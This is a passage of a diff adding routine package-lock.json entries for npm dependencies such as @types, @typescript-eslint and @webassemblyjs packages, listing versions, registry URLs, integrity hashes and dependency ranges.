"https://registry.npmjs.org/@types/express-serve-static-core/-/express-serve-static-core-4.17.43.tgz", + "integrity": "sha512-oaYtiBirUOPQGSWNGPWnzyAFJ0BP3cwvN4oWZQY+zUBwpVIGsKUkpBpSztp74drYcjavs7SKFZ4DX1V2QeN8rg==", + "dependencies": { + "@types/node": "*", + "@types/qs": "*", + "@types/range-parser": "*", + "@types/send": "*" + } + }, + "node_modules/@types/graceful-fs": { + "version": "4.1.9", + "resolved": "https://registry.npmjs.org/@types/graceful-fs/-/graceful-fs-4.1.9.tgz", + "integrity": "sha512-olP3sd1qOEe5dXTSaFvQG+02VdRXcdytWLAZsAq1PecU8uqQAhkrnbli7DagjtXKW/Bl7YJbUsa8MPcuc8LHEQ==", + "dependencies": { + "@types/node": "*" + } + }, + "node_modules/@types/history": { + "version": "4.7.11", + "resolved": "https://registry.npmjs.org/@types/history/-/history-4.7.11.tgz", + "integrity": "sha512-qjDJRrmvBMiTx+jyLxvLfJU7UznFuokDv4f3WRuriHKERccVpFU+8XMQUAbDzoiJCsmexxRExQeMwwCdamSKDA==", + "dev": true + }, + "node_modules/@types/hoist-non-react-statics": { + "version": "3.3.5", + "resolved": "https://registry.npmjs.org/@types/hoist-non-react-statics/-/hoist-non-react-statics-3.3.5.tgz", + "integrity": "sha512-SbcrWzkKBw2cdwRTwQAswfpB9g9LJWfjtUeW/jvNwbhC8cpmmNYVePa+ncbUe0rGTQ7G3Ff6mYUN2VMfLVr+Sg==", + "dependencies": { + "@types/react": "*", + "hoist-non-react-statics": "^3.3.0" + } + }, + "node_modules/@types/html-minifier-terser": { + "version": "6.1.0", + "resolved": "https://registry.npmjs.org/@types/html-minifier-terser/-/html-minifier-terser-6.1.0.tgz", + "integrity": "sha512-oh/6byDPnL1zeNXFrDXFLyZjkr1MsBG667IM792caf1L2UPOOMf65NFzjUH/ltyfwjAGfs1rsX1eftK0jC/KIg==" + }, + "node_modules/@types/http-errors": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/@types/http-errors/-/http-errors-2.0.4.tgz", + "integrity": "sha512-D0CFMMtydbJAegzOyHjtiKPLlvnm3iTZyZRSZoLq2mRhDdmLfIWOCYPfQJ4cu2erKghU++QvjcUjp/5h7hESpA==" + }, + "node_modules/@types/http-proxy": { + "version": "1.17.14", + "resolved": "https://registry.npmjs.org/@types/http-proxy/-/http-proxy-1.17.14.tgz", + "integrity": "sha512-SSrD0c1OQzlFX7pGu1eXxSEjemej64aaNPRhhVYUGqXh0BtldAAx37MG8btcumvpgKyZp1F5Gn3JkktdxiFv6w==", + "dependencies": { + "@types/node": "*" + } + }, + "node_modules/@types/istanbul-lib-coverage": { + "version": "2.0.6", + "resolved": "https://registry.npmjs.org/@types/istanbul-lib-coverage/-/istanbul-lib-coverage-2.0.6.tgz", + "integrity": "sha512-2QF/t/auWm0lsy8XtKVPG19v3sSOQlJe/YHZgfjb/KBBHOGSV+J2q/S671rcq9uTBrLAXmZpqJiaQbMT+zNU1w==" + }, + "node_modules/@types/istanbul-lib-report": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/@types/istanbul-lib-report/-/istanbul-lib-report-3.0.3.tgz", + "integrity": "sha512-NQn7AHQnk/RSLOxrBbGyJM/aVQ+pjj5HCgasFxc0K/KhoATfQ/47AyUl15I2yBUpihjmas+a+VJBOqecrFH+uA==", + "dependencies": { + "@types/istanbul-lib-coverage": "*" + } + }, + "node_modules/@types/istanbul-reports": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/@types/istanbul-reports/-/istanbul-reports-3.0.4.tgz", + "integrity": "sha512-pk2B1NWalF9toCRu6gjBzR69syFjP4Od8WRAX+0mmf9lAjCRicLOWc+ZrxZHx/0XRjotgkF9t6iaMJ+aXcOdZQ==", + "dependencies": { + "@types/istanbul-lib-report": "*" + } + }, + "node_modules/@types/jest": { + "version": "27.5.2", + "resolved": "https://registry.npmjs.org/@types/jest/-/jest-27.5.2.tgz", + "integrity": "sha512-mpT8LJJ4CMeeahobofYWIjFo0xonRS/HfxnVEPMPFSQdGUt1uHCnoPT7Zhb+sjDU2wz0oKV0OLUR0WzrHNgfeA==", + "dev": true, + "dependencies": { + "jest-matcher-utils": "^27.0.0", + "pretty-format": "^27.0.0" + } + }, + "node_modules/@types/json-schema": { + "version": "7.0.15", + "resolved": "https://registry.npmjs.org/@types/json-schema/-/json-schema-7.0.15.tgz", + "integrity": "sha512-5+fP8P8MFNC+AyZCDxrB2pkZFPGzqQWUzpSeuuVLvm8VMcorNYavBqoFcxK8bQz4Qsbn4oUEEem4wDLfcysGHA==" + }, + "node_modules/@types/json5": { + "version": "0.0.29", + "resolved": "https://registry.npmjs.org/@types/json5/-/json5-0.0.29.tgz", + "integrity": "sha512-dRLjCWHYg4oaA77cxO64oO+7JwCwnIzkZPdrrC71jQmQtlhM556pwKo5bUzqvZndkVbeFLIIi+9TC40JNF5hNQ==" + }, + "node_modules/@types/mime": { + "version": "1.3.5", + "resolved": "https://registry.npmjs.org/@types/mime/-/mime-1.3.5.tgz", + "integrity": "sha512-/pyBZWSLD2n0dcHE3hq8s8ZvcETHtEuF+3E7XVt0Ig2nvsVQXdghHVcEkIWjy9A0wKfTn97a/PSDYohKIlnP/w==" + }, + "node_modules/@types/node": { + "version": "16.18.82", + "resolved": "https://registry.npmjs.org/@types/node/-/node-16.18.82.tgz", + "integrity": "sha512-pcDZtkx9z8XYV+ius2P3Ot2VVrcYOfXffBQUBuiszrlUzKSmoDYqo+mV+IoL8iIiIjjtOMvNSmH1hwJ+Q+f96Q==" + }, + "node_modules/@types/node-forge": { + "version": "1.3.11", + "resolved": "https://registry.npmjs.org/@types/node-forge/-/node-forge-1.3.11.tgz", + "integrity": "sha512-FQx220y22OKNTqaByeBGqHWYz4cl94tpcxeFdvBo3wjG6XPBuZ0BNgNZRV5J5TFmmcsJ4IzsLkmGRiQbnYsBEQ==", + "dependencies": { + "@types/node": "*" + } + }, + "node_modules/@types/parse-json": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/@types/parse-json/-/parse-json-4.0.2.tgz", + "integrity": "sha512-dISoDXWWQwUquiKsyZ4Ng+HX2KsPL7LyHKHQwgGFEA3IaKac4Obd+h2a/a6waisAoepJlBcx9paWqjA8/HVjCw==" + }, + "node_modules/@types/prettier": { + "version": "2.7.3", + "resolved": "https://registry.npmjs.org/@types/prettier/-/prettier-2.7.3.tgz", + "integrity": "sha512-+68kP9yzs4LMp7VNh8gdzMSPZFL44MLGqiHWvttYJe+6qnuVr4Ek9wSBQoveqY/r+LwjCcU29kNVkidwim+kYA==" + }, + "node_modules/@types/prop-types": { + "version": "15.7.11", + "resolved": "https://registry.npmjs.org/@types/prop-types/-/prop-types-15.7.11.tgz", + "integrity": "sha512-ga8y9v9uyeiLdpKddhxYQkxNDrfvuPrlFb0N1qnZZByvcElJaXthF1UhvCh9TLWJBEHeNtdnbysW7Y6Uq8CVng==" + }, + "node_modules/@types/q": { + "version": "1.5.8", + "resolved": "https://registry.npmjs.org/@types/q/-/q-1.5.8.tgz", + "integrity": "sha512-hroOstUScF6zhIi+5+x0dzqrHA1EJi+Irri6b1fxolMTqqHIV/Cg77EtnQcZqZCu8hR3mX2BzIxN4/GzI68Kfw==" + }, + "node_modules/@types/qs": { + "version": "6.9.11", + "resolved": "https://registry.npmjs.org/@types/qs/-/qs-6.9.11.tgz", + "integrity": "sha512-oGk0gmhnEJK4Yyk+oI7EfXsLayXatCWPHary1MtcmbAifkobT9cM9yutG/hZKIseOU0MqbIwQ/u2nn/Gb+ltuQ==" + }, + "node_modules/@types/range-parser": { + "version": "1.2.7", + "resolved": "https://registry.npmjs.org/@types/range-parser/-/range-parser-1.2.7.tgz", + "integrity": "sha512-hKormJbkJqzQGhziax5PItDUTMAM9uE2XXQmM37dyd4hVM+5aVl7oVxMVUiVQn2oCQFN/LKCZdvSM0pFRqbSmQ==" + }, + "node_modules/@types/react": { + "version": "17.0.75", + "resolved": "https://registry.npmjs.org/@types/react/-/react-17.0.75.tgz", + "integrity": "sha512-MSA+NzEzXnQKrqpO63CYqNstFjsESgvJAdAyyJ1n6ZQq/GLgf6nOfIKwk+Twuz0L1N6xPe+qz5xRCJrbhMaLsw==", + "dependencies": { + "@types/prop-types": "*", + "@types/scheduler": "*", + "csstype": "^3.0.2" + } + }, + "node_modules/@types/react-collapse": { + "version": "5.0.4", + "resolved": "https://registry.npmjs.org/@types/react-collapse/-/react-collapse-5.0.4.tgz", + "integrity": "sha512-tM5cVB6skGLneNYnRK2E3R56VOHguSeJQHslGPTIMC58ytL3oelT8L/l1onkwHGn5vSEs2BEq2Olzrur+YdliA==", + "dependencies": { + "@types/react": "*" + } + }, + "node_modules/@types/react-dom": { + "version": "17.0.25", + "resolved": "https://registry.npmjs.org/@types/react-dom/-/react-dom-17.0.25.tgz", + "integrity": "sha512-urx7A7UxkZQmThYA4So0NelOVjx3V4rNFVJwp0WZlbIK5eM4rNJDiN3R/E9ix0MBh6kAEojk/9YL+Te6D9zHNA==", + "dev": true, + "dependencies": { + "@types/react": "^17" + } + }, + "node_modules/@types/react-modal": { + "version": "3.16.3", + "resolved": "https://registry.npmjs.org/@types/react-modal/-/react-modal-3.16.3.tgz", + "integrity": "sha512-xXuGavyEGaFQDgBv4UVm8/ZsG+qxeQ7f77yNrW3n+1J6XAstUy5rYHeIHPh1KzsGc6IkCIdu6lQ2xWzu1jBTLg==", + "dependencies": { + "@types/react": "*" + } + }, + "node_modules/@types/react-redux": { + "version": "7.1.33", + "resolved": "https://registry.npmjs.org/@types/react-redux/-/react-redux-7.1.33.tgz", + "integrity": "sha512-NF8m5AjWCkert+fosDsN3hAlHzpjSiXlVy9EgQEmLoBhaNXbmyeGs/aj5dQzKuF+/q+S7JQagorGDW8pJ28Hmg==", + "dependencies": { + "@types/hoist-non-react-statics": "^3.3.0", + "@types/react": "*", + "hoist-non-react-statics": "^3.3.0", + "redux": "^4.0.0" + } + }, + "node_modules/@types/react-router": { + "version": "5.1.20", + "resolved": "https://registry.npmjs.org/@types/react-router/-/react-router-5.1.20.tgz", + "integrity": "sha512-jGjmu/ZqS7FjSH6owMcD5qpq19+1RS9DeVRqfl1FeBMxTDQAGwlMWOcs52NDoXaNKyG3d1cYQFMs9rCrb88o9Q==", + "dev": true, + "dependencies": { + "@types/history": "^4.7.11", + "@types/react": "*" + } + }, + "node_modules/@types/react-router-dom": { + "version": "5.3.3", + "resolved": "https://registry.npmjs.org/@types/react-router-dom/-/react-router-dom-5.3.3.tgz", + "integrity": "sha512-kpqnYK4wcdm5UaWI3fLcELopqLrHgLqNsdpHauzlQktfkHL3npOSwtj1Uz9oKBAzs7lFtVkV8j83voAz2D8fhw==", + "dev": true, + "dependencies": { + "@types/history": "^4.7.11", + "@types/react": "*", + "@types/react-router": "*" + } + }, + "node_modules/@types/resolve": { + "version": "1.17.1", + "resolved": "https://registry.npmjs.org/@types/resolve/-/resolve-1.17.1.tgz", + "integrity": "sha512-yy7HuzQhj0dhGpD8RLXSZWEkLsV9ibvxvi6EiJ3bkqLAO1RGo0WbkWQiwpRlSFymTJRz0d3k5LM3kkx8ArDbLw==", + "dependencies": { + "@types/node": "*" + } + }, + "node_modules/@types/retry": { + "version": "0.12.0", + "resolved": "https://registry.npmjs.org/@types/retry/-/retry-0.12.0.tgz", + "integrity": "sha512-wWKOClTTiizcZhXnPY4wikVAwmdYHp8q6DmC+EJUzAMsycb7HB32Kh9RN4+0gExjmPmZSAQjgURXIGATPegAvA==" + }, + "node_modules/@types/scheduler": { + "version": "0.16.8", + "resolved": "https://registry.npmjs.org/@types/scheduler/-/scheduler-0.16.8.tgz", + "integrity": "sha512-WZLiwShhwLRmeV6zH+GkbOFT6Z6VklCItrDioxUnv+u4Ll+8vKeFySoFyK/0ctcRpOmwAicELfmys1sDc/Rw+A==" + }, + "node_modules/@types/semver": { + "version": "7.5.7", + "resolved": "https://registry.npmjs.org/@types/semver/-/semver-7.5.7.tgz", + "integrity": "sha512-/wdoPq1QqkSj9/QOeKkFquEuPzQbHTWAMPH/PaUMB+JuR31lXhlWXRZ52IpfDYVlDOUBvX09uBrPwxGT1hjNBg==" + }, + "node_modules/@types/send": { + "version": "0.17.4", + "resolved": "https://registry.npmjs.org/@types/send/-/send-0.17.4.tgz", + "integrity": "sha512-x2EM6TJOybec7c52BX0ZspPodMsQUd5L6PRwOunVyVUhXiBSKf3AezDL8Dgvgt5o0UfKNfuA0eMLr2wLT4AiBA==", + "dependencies": { + "@types/mime": "^1", + "@types/node": "*" + } + }, + "node_modules/@types/serve-index": { + "version": "1.9.4", + "resolved": "https://registry.npmjs.org/@types/serve-index/-/serve-index-1.9.4.tgz", + "integrity": "sha512-qLpGZ/c2fhSs5gnYsQxtDEq3Oy8SXPClIXkW5ghvAvsNuVSA8k+gCONcUCS/UjLEYvYps+e8uBtfgXgvhwfNug==", + "dependencies": { + "@types/express": "*" + } + }, + "node_modules/@types/serve-static": { + "version": "1.15.5", + "resolved": "https://registry.npmjs.org/@types/serve-static/-/serve-static-1.15.5.tgz", + "integrity": "sha512-PDRk21MnK70hja/YF8AHfC7yIsiQHn1rcXx7ijCFBX/k+XQJhQT/gw3xekXKJvx+5SXaMMS8oqQy09Mzvz2TuQ==", + "dependencies": { + "@types/http-errors": "*", + "@types/mime": "*", + "@types/node": "*" + } + }, + "node_modules/@types/sockjs": { + "version": "0.3.36", + "resolved": "https://registry.npmjs.org/@types/sockjs/-/sockjs-0.3.36.tgz", + "integrity": "sha512-MK9V6NzAS1+Ud7JV9lJLFqW85VbC9dq3LmwZCuBe4wBDgKC0Kj/jd8Xl+nSviU+Qc3+m7umHHyHg//2KSa0a0Q==", + "dependencies": { + "@types/node": "*" + } + }, + "node_modules/@types/stack-utils": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/@types/stack-utils/-/stack-utils-2.0.3.tgz", + "integrity": "sha512-9aEbYZ3TbYMznPdcdr3SmIrLXwC/AKZXQeCf9Pgao5CKb8CyHuEX5jzWPTkvregvhRJHcpRO6BFoGW9ycaOkYw==" + }, + "node_modules/@types/testing-library__jest-dom": { + "version": "5.14.9", + "resolved": "https://registry.npmjs.org/@types/testing-library__jest-dom/-/testing-library__jest-dom-5.14.9.tgz", + "integrity": "sha512-FSYhIjFlfOpGSRyVoMBMuS3ws5ehFQODymf3vlI7U1K8c7PHwWwFY7VREfmsuzHSOnoKs/9/Y983ayOs7eRzqw==", + "dev": true, + "dependencies": { + "@types/jest": "*" + } + }, + "node_modules/@types/trusted-types": { + "version": "2.0.7", + "resolved": "https://registry.npmjs.org/@types/trusted-types/-/trusted-types-2.0.7.tgz", + "integrity": "sha512-ScaPdn1dQczgbl0QFTeTOmVHFULt394XJgOQNoyVhZ6r2vLnMLJfBPd53SB52T/3G36VI1/g2MZaX0cwDuXsfw==" + }, + "node_modules/@types/ws": { + "version": "8.5.10", + "resolved": "https://registry.npmjs.org/@types/ws/-/ws-8.5.10.tgz", + "integrity": "sha512-vmQSUcfalpIq0R9q7uTo2lXs6eGIpt9wtnLdMv9LVpIjCA/+ufZRozlVoVelIYixx1ugCBKDhn89vnsEGOCx9A==", + "dependencies": { + "@types/node": "*" + } + }, + "node_modules/@types/yargs": { + "version": "16.0.9", + "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-16.0.9.tgz", + "integrity": "sha512-tHhzvkFXZQeTECenFoRljLBYPZJ7jAVxqqtEI0qTLOmuultnFp4I9yKE17vTuhf7BkhCu7I4XuemPgikDVuYqA==", + "dependencies": { + "@types/yargs-parser": "*" + } + }, + "node_modules/@types/yargs-parser": { + "version": "21.0.3", + "resolved": "https://registry.npmjs.org/@types/yargs-parser/-/yargs-parser-21.0.3.tgz", + "integrity": "sha512-I4q9QU9MQv4oEOz4tAHJtNz1cwuLxn2F3xcc2iV5WdqLPpUnj30aUuxt1mAxYTG+oe8CZMV/+6rU4S4gRDzqtQ==" + }, + "node_modules/@typescript-eslint/eslint-plugin": { + "version": "5.62.0", + "resolved": "https://registry.npmjs.org/@typescript-eslint/eslint-plugin/-/eslint-plugin-5.62.0.tgz", + "integrity": "sha512-TiZzBSJja/LbhNPvk6yc0JrX9XqhQ0hdh6M2svYfsHGejaKFIAGd9MQ+ERIMzLGlN/kZoYIgdxFV0PuljTKXag==", + "dependencies": { + "@eslint-community/regexpp": "^4.4.0", + "@typescript-eslint/scope-manager": "5.62.0", + "@typescript-eslint/type-utils": "5.62.0", + "@typescript-eslint/utils": "5.62.0", + "debug": "^4.3.4", + "graphemer": "^1.4.0", + "ignore": "^5.2.0", + "natural-compare-lite": "^1.4.0", + "semver": "^7.3.7", + "tsutils": "^3.21.0" + }, + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/typescript-eslint" + }, + "peerDependencies": { + "@typescript-eslint/parser": "^5.0.0", + "eslint": "^6.0.0 || ^7.0.0 || ^8.0.0" + }, + "peerDependenciesMeta": { + "typescript": { + "optional": true + } + } + }, + "node_modules/@typescript-eslint/eslint-plugin/node_modules/lru-cache": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-6.0.0.tgz", + "integrity": "sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==", + "dependencies": { + "yallist": "^4.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/@typescript-eslint/eslint-plugin/node_modules/semver": { + "version": "7.6.0", + "resolved": "https://registry.npmjs.org/semver/-/semver-7.6.0.tgz", + "integrity": "sha512-EnwXhrlwXMk9gKu5/flx5sv/an57AkRplG3hTK68W7FRDN+k+OWBj65M7719OkA82XLBxrcX0KSHj+X5COhOVg==", + "dependencies": { + "lru-cache": "^6.0.0" + }, + "bin": { + "semver": "bin/semver.js" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/@typescript-eslint/eslint-plugin/node_modules/yallist": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz", + "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==" + }, + "node_modules/@typescript-eslint/experimental-utils": { + "version": "5.62.0", + "resolved": "https://registry.npmjs.org/@typescript-eslint/experimental-utils/-/experimental-utils-5.62.0.tgz", + "integrity": "sha512-RTXpeB3eMkpoclG3ZHft6vG/Z30azNHuqY6wKPBHlVMZFuEvrtlEDe8gMqDb+SO+9hjC/pLekeSCryf9vMZlCw==", + "dependencies": { + "@typescript-eslint/utils": "5.62.0" + }, + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/typescript-eslint" + }, + "peerDependencies": { + "eslint": "^6.0.0 || ^7.0.0 || ^8.0.0" + } + }, + "node_modules/@typescript-eslint/parser": { + "version": "5.62.0", + "resolved": "https://registry.npmjs.org/@typescript-eslint/parser/-/parser-5.62.0.tgz", + "integrity": "sha512-VlJEV0fOQ7BExOsHYAGrgbEiZoi8D+Bl2+f6V2RrXerRSylnp+ZBHmPvaIa8cz0Ajx7WO7Z5RqfgYg7ED1nRhA==", + "dependencies": { + "@typescript-eslint/scope-manager": "5.62.0", + "@typescript-eslint/types": "5.62.0", + "@typescript-eslint/typescript-estree": "5.62.0", + "debug": "^4.3.4" + }, + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/typescript-eslint" + }, + "peerDependencies": { + "eslint": "^6.0.0 || ^7.0.0 || ^8.0.0" + }, + "peerDependenciesMeta": { + "typescript": { + "optional": true + } + } + }, + "node_modules/@typescript-eslint/scope-manager": { + "version": "5.62.0", + "resolved": "https://registry.npmjs.org/@typescript-eslint/scope-manager/-/scope-manager-5.62.0.tgz", + "integrity": "sha512-VXuvVvZeQCQb5Zgf4HAxc04q5j+WrNAtNh9OwCsCgpKqESMTu3tF/jhZ3xG6T4NZwWl65Bg8KuS2uEvhSfLl0w==", + "dependencies": { + "@typescript-eslint/types": "5.62.0", + "@typescript-eslint/visitor-keys": "5.62.0" + }, + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/typescript-eslint" + } + }, + "node_modules/@typescript-eslint/type-utils": { + "version": "5.62.0", + "resolved": "https://registry.npmjs.org/@typescript-eslint/type-utils/-/type-utils-5.62.0.tgz", + "integrity": "sha512-xsSQreu+VnfbqQpW5vnCJdq1Z3Q0U31qiWmRhr98ONQmcp/yhiPJFPq8MXiJVLiksmOKSjIldZzkebzHuCGzew==", + "dependencies": { + "@typescript-eslint/typescript-estree": "5.62.0", + "@typescript-eslint/utils": "5.62.0", + "debug": "^4.3.4", + "tsutils": "^3.21.0" + }, + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/typescript-eslint" + }, + "peerDependencies": { + "eslint": "*" + }, + "peerDependenciesMeta": { + "typescript": { + "optional": true + } + } + }, + "node_modules/@typescript-eslint/types": { + "version": "5.62.0", + "resolved": "https://registry.npmjs.org/@typescript-eslint/types/-/types-5.62.0.tgz", + "integrity": "sha512-87NVngcbVXUahrRTqIK27gD2t5Cu1yuCXxbLcFtCzZGlfyVWWh8mLHkoxzjsB6DDNnvdL+fW8MiwPEJyGJQDgQ==", + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/typescript-eslint" + } + }, + "node_modules/@typescript-eslint/typescript-estree": { + "version": "5.62.0", + "resolved": "https://registry.npmjs.org/@typescript-eslint/typescript-estree/-/typescript-estree-5.62.0.tgz", + "integrity": "sha512-CmcQ6uY7b9y694lKdRB8FEel7JbU/40iSAPomu++SjLMntB+2Leay2LO6i8VnJk58MtE9/nQSFIH6jpyRWyYzA==", + "dependencies": { + "@typescript-eslint/types": "5.62.0", + "@typescript-eslint/visitor-keys": "5.62.0", + "debug": "^4.3.4", + "globby": "^11.1.0", + "is-glob": "^4.0.3", + "semver": "^7.3.7", + "tsutils": "^3.21.0" + }, + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/typescript-eslint" + }, + "peerDependenciesMeta": { + "typescript": { + "optional": true + } + } + }, + "node_modules/@typescript-eslint/typescript-estree/node_modules/lru-cache": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-6.0.0.tgz", + "integrity": "sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==", + "dependencies": { + "yallist": "^4.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/@typescript-eslint/typescript-estree/node_modules/semver": { + "version": "7.6.0", + "resolved": "https://registry.npmjs.org/semver/-/semver-7.6.0.tgz", + "integrity": "sha512-EnwXhrlwXMk9gKu5/flx5sv/an57AkRplG3hTK68W7FRDN+k+OWBj65M7719OkA82XLBxrcX0KSHj+X5COhOVg==", + "dependencies": { + "lru-cache": "^6.0.0" + }, + "bin": { + "semver": "bin/semver.js" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/@typescript-eslint/typescript-estree/node_modules/yallist": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz", + "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==" + }, + "node_modules/@typescript-eslint/utils": { + "version": "5.62.0", + "resolved": "https://registry.npmjs.org/@typescript-eslint/utils/-/utils-5.62.0.tgz", + "integrity": "sha512-n8oxjeb5aIbPFEtmQxQYOLI0i9n5ySBEY/ZEHHZqKQSFnxio1rv6dthascc9dLuwrL0RC5mPCxB7vnAVGAYWAQ==", + "dependencies": { + "@eslint-community/eslint-utils": "^4.2.0", + "@types/json-schema": "^7.0.9", + "@types/semver": "^7.3.12", + "@typescript-eslint/scope-manager": "5.62.0", + "@typescript-eslint/types": "5.62.0", + "@typescript-eslint/typescript-estree": "5.62.0", + "eslint-scope": "^5.1.1", + "semver": "^7.3.7" + }, + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/typescript-eslint" + }, + "peerDependencies": { + "eslint": "^6.0.0 || ^7.0.0 || ^8.0.0" + } + }, + "node_modules/@typescript-eslint/utils/node_modules/eslint-scope": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/eslint-scope/-/eslint-scope-5.1.1.tgz", + "integrity": "sha512-2NxwbF/hZ0KpepYN0cNbo+FN6XoK7GaHlQhgx/hIZl6Va0bF45RQOOwhLIy8lQDbuCiadSLCBnH2CFYquit5bw==", + "dependencies": { + "esrecurse": "^4.3.0", + "estraverse": "^4.1.1" + }, + "engines": { + "node": ">=8.0.0" + } + }, + "node_modules/@typescript-eslint/utils/node_modules/estraverse": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-4.3.0.tgz", + "integrity": "sha512-39nnKffWz8xN1BU/2c79n9nB9HDzo0niYUqx6xyqUnyoAnQyyWpOTdZEeiCch8BBu515t4wp9ZmgVfVhn9EBpw==", + "engines": { + "node": ">=4.0" + } + }, + "node_modules/@typescript-eslint/utils/node_modules/lru-cache": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-6.0.0.tgz", + "integrity": "sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==", + "dependencies": { + "yallist": "^4.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/@typescript-eslint/utils/node_modules/semver": { + "version": "7.6.0", + "resolved": "https://registry.npmjs.org/semver/-/semver-7.6.0.tgz", + "integrity": "sha512-EnwXhrlwXMk9gKu5/flx5sv/an57AkRplG3hTK68W7FRDN+k+OWBj65M7719OkA82XLBxrcX0KSHj+X5COhOVg==", + "dependencies": { + "lru-cache": "^6.0.0" + }, + "bin": { + "semver": "bin/semver.js" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/@typescript-eslint/utils/node_modules/yallist": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz", + "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==" + }, + "node_modules/@typescript-eslint/visitor-keys": { + "version": "5.62.0", + "resolved": "https://registry.npmjs.org/@typescript-eslint/visitor-keys/-/visitor-keys-5.62.0.tgz", + "integrity": "sha512-07ny+LHRzQXepkGg6w0mFY41fVUNBrL2Roj/++7V1txKugfjm/Ci/qSND03r2RhlJhJYMcTn9AhhSSqQp0Ysyw==", + "dependencies": { + "@typescript-eslint/types": "5.62.0", + "eslint-visitor-keys": "^3.3.0" + }, + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/typescript-eslint" + } + }, + "node_modules/@ungap/structured-clone": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/@ungap/structured-clone/-/structured-clone-1.2.0.tgz", + "integrity": "sha512-zuVdFrMJiuCDQUMCzQaD6KL28MjnqqN8XnAqiEq9PNm/hCPTSGfrXCOfwj1ow4LFb/tNymJPwsNbVePc1xFqrQ==" + }, + "node_modules/@webassemblyjs/ast": { + "version": "1.11.6", + "resolved": "https://registry.npmjs.org/@webassemblyjs/ast/-/ast-1.11.6.tgz", + "integrity": "sha512-IN1xI7PwOvLPgjcf180gC1bqn3q/QaOCwYUahIOhbYUu8KA/3tw2RT/T0Gidi1l7Hhj5D/INhJxiICObqpMu4Q==", + "dependencies": { + "@webassemblyjs/helper-numbers": "1.11.6", + "@webassemblyjs/helper-wasm-bytecode": "1.11.6" + } + }, + "node_modules/@webassemblyjs/floating-point-hex-parser": { + "version": "1.11.6", + "resolved": "https://registry.npmjs.org/@webassemblyjs/floating-point-hex-parser/-/floating-point-hex-parser-1.11.6.tgz", + "integrity": "sha512-ejAj9hfRJ2XMsNHk/v6Fu2dGS+i4UaXBXGemOfQ/JfQ6mdQg/WXtwleQRLLS4OvfDhv8rYnVwH27YJLMyYsxhw==" + }, + "node_modules/@webassemblyjs/helper-api-error": { + "version": "1.11.6", + "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-api-error/-/helper-api-error-1.11.6.tgz", + "integrity": "sha512-o0YkoP4pVu4rN8aTJgAyj9hC2Sv5UlkzCHhxqWj8butaLvnpdc2jOwh4ewE6CX0txSfLn/UYaV/pheS2Txg//Q==" + }, + "node_modules/@webassemblyjs/helper-buffer": { + "version": "1.11.6", + "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-buffer/-/helper-buffer-1.11.6.tgz", + "integrity": "sha512-z3nFzdcp1mb8nEOFFk8DrYLpHvhKC3grJD2ardfKOzmbmJvEf/tPIqCY+sNcwZIY8ZD7IkB2l7/pqhUhqm7hLA==" + }, + "node_modules/@webassemblyjs/helper-numbers": { + "version": "1.11.6", + "resolved": 